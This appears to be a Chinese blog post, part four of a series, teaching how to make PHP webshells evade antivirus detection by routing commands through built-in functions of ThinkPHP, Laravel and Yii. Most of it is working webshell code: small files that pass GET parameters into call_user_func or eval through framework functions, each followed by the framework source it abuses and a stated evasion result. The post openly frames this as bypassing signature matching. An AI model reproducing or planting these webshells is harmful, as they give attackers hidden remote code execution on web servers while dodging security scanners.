其他
什么?你还不会webshell免杀?(四)
基于框架免杀
thinkphp
array_map_recursive函数
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
array_map_recursive(I('get.func','',''),I('get.cmd','',''));
array_map_recursive函数分析
这里存在一个call_user_func命令执行函数
function array_map_recursive($filter, $data) {
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call_user_func($filter, $val);
}
return $result;
}
免杀效果
B函数
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
include(WWW_PATH."ThinkPHP/Library/Think/Hook.class.php");
class demo{
function test($v){
I('get.func','','')($v);
}
}
B("demo","test",I('get.cmd','',''));
免杀效果
B函数分析
function B($name, $tag='',&$params=NULL) {
if(''==$tag){
$name .= 'Behavior';
}
return \Think\Hook::exec($name,$tag,$params);
}
exec函数分析
在exec函数用存在有个类调用,且所有的参数都可控
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$tag = 'run';
}
$addon = new $name();
return $addon->$tag($params);
}
smarty_php_tag函数
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Library/Vendor/Smarty/SmartyBC.class.php");
smarty_php_tag("",I('get.cmd','',''),"");
免杀效果
smarty_php_tag函数分析
直接存在命令执行,且参数可控
function smarty_php_tag($params, $content, $template, &$repeat)
{
eval($content);
return '';
}
I函数
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."ThinkPHP/Common/functions.php");
I('get.func','','')(I('get.cmd','',''));
免杀效果
Laravel
EvalLoader#load
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$c = new Mockery\Generator\MockConfiguration(array(),array(),array(),'demo');
$b = new Mockery\Generator\MockDefinition($c,'<?='.$_GET['cmd']);
$a = new Mockery\Loader\EvalLoader();
$a->load($b);
免杀效果
EvalLoader#load分析
eval命令执行函数,参数可控
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
MockTrait#generate
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
$a->generate();
免杀效果
MockTrait#generate函数分析
存在一个eval函数
public function generate(): string
{
if (!\class_exists($this->mockName, false)) {
eval($this->classCode);
}
return $this->mockName;
}
yii
MockTrait#generate
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new PHPUnit\Framework\MockObject\MockTrait($_GET['cmd'],'demo');
$a->generate();
免杀效果
view#evaluateDynamicContent
<?php
define('WWW_PATH',str_replace('\\','/',realpath(dirname(__FILE__).'/../')));
include(WWW_PATH."/vendor/autoload.php");
$a = new yii\base\View();
$a->evaluateDynamicContent($_GET['cmd']);
免杀效果
view#evaluateDynamicContent分析
public function evaluateDynamicContent($statements)
{
return eval($statements);
}
总结
通过文件包含框架文件,用框架内置的函数来替换一句话木马中的功能函数,达到绕过特征匹配,如果后期规则增强,可以通过搜索新的函数来间接调用函数,像反序列化利用链一样,当然,还有很多其他函数可以使用在这里就不多列举。
加下方wx,拉你一起进群学习
往期推荐